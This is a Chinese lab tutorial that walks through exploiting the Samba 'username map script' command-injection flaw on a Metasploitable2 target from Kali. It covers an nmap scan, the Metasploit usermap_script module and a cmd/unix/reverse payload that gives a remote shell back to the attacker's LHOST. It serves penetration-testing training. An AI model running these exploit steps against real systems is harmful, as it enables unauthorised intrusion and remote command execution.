kali渗透测试:【实验2】一次简单的渗透测试实战

启动 Kali 容器并进入到 bash 界面里,执行 ping 操作验证网络联通性:

# 启动并进入 Kali 容器里的 bash
docker run -ti --network host 3f457 bash
# 在 Kali 容器中测试虚拟网络连接,使用 Ctrl-C 退出 ping:
ping target

kali渗透测试:【实验2】一次简单的渗透测试实战_第1张图片
在 Kali 容器的 bash 界面里运行以下命令,注意 Nmap 的参数使用:

  • -p:指定扫描的端口范围
  • -T4:设定 nmap 扫描的时间策略,数字为 0-5,越大越快。扫描的越慢则越不容易被发现,也不会给目标带来太大的网络流量
  • -A:同时启用操作系统指纹识别和版本检测
  • -v:将会显示扫描过程中的详细信息
  • /tmp/report.txt:将输出的信息重定向到文件中,方便后续对扫描信息进行分析

输出的报告可以使用 cat 命令打开查看,包含开放的服务信息,版本号,操作系统的信息等:

执行以下命令,查找扫描报告里 Samba 相关的信息:

grep -i samba /tmp/report.txt

kali渗透测试:【实验2】一次简单的渗透测试实战_第2张图片
Samba 本身是一个实现 Server Messages Block 协议提供跨平台文件共享服务的应用。

这个漏洞出现的前提是使用了 username map script 配置选项,这个选项不是默认的,但在 Metasploitable2 系统中是打开的。

漏洞出现在 Samba 处理 SAM 数据库更新用户口令的代码时,没有对代码进行严格的过滤,便把用户的所有输入信息直接传递给了 /bin/sh Shell 执行。从而当设定的用户名中有一些命令字符的时候,我们可以执行任意的系统命令。

启动 Metasploit 框架比较简单,在 Kali 中依次执行下面的命令即可:

# 启动 postgreSQL 数据库,因为 Metasploit 需要使用 postgreSQL 进行数据存储
service postgresql start
# 初始化数据库
msfdb init
# 启动 msfconsole,进入到操作界面
msfconsole

kali渗透测试:【实验2】一次简单的渗透测试实战_第3张图片
kali渗透测试:【实验2】一次简单的渗透测试实战_第4张图片
首先,告诉系统我们将要使用的攻击模块:

msf > use exploit/multi/samba/usermap_script
copy

查看攻击负荷(payload)列表,在这里 payload 用来在目标被攻陷后创建后门 Shell:

msf > show payloads

kali渗透测试:【实验2】一次简单的渗透测试实战_第5张图片
设置 payload 为 cmd/unix/reverse 类型,通过 telnet 创建远程 Shell:

msf > set payload cmd/unix/reverse
copy

查看当前的配置参数,这里会列出当前我们要使用的攻击模块和 payload 的相关参数,包括攻击的目标地址,攻击的目标端口以及后门 Shell 监听的端口号等:

msf > show options

kali渗透测试:【实验2】一次简单的渗透测试实战_第6张图片
补充设置参数,需要设置攻击目标和攻击机本地的 IP 地址,再次查看先前的扫描结果,Samba 3.0.20 监听在 445 端口上,所以我们需要修改攻击的端口号:

msf > set RHOST 192.168.122.102
msf > set LHOST 192.168.122.1
msf > set RPORT 445

kali渗透测试:【实验2】一次简单的渗透测试实战_第7张图片
设置完成后再次 show options 查看配置参数:
kali渗透测试:【实验2】一次简单的渗透测试实战_第8张图片
执行攻击比较简单,只需要输入 exploit 命令就可以了:

msf > exploit

kali渗透测试:【实验2】一次简单的渗透测试实战_第9张图片
首先在 Shell 中输入 whoami 判断当前的身份,然后查看当前的主机名:
kali渗透测试:【实验2】一次简单的渗透测试实战_第10张图片

你可能感兴趣的:(安全,web安全,linux)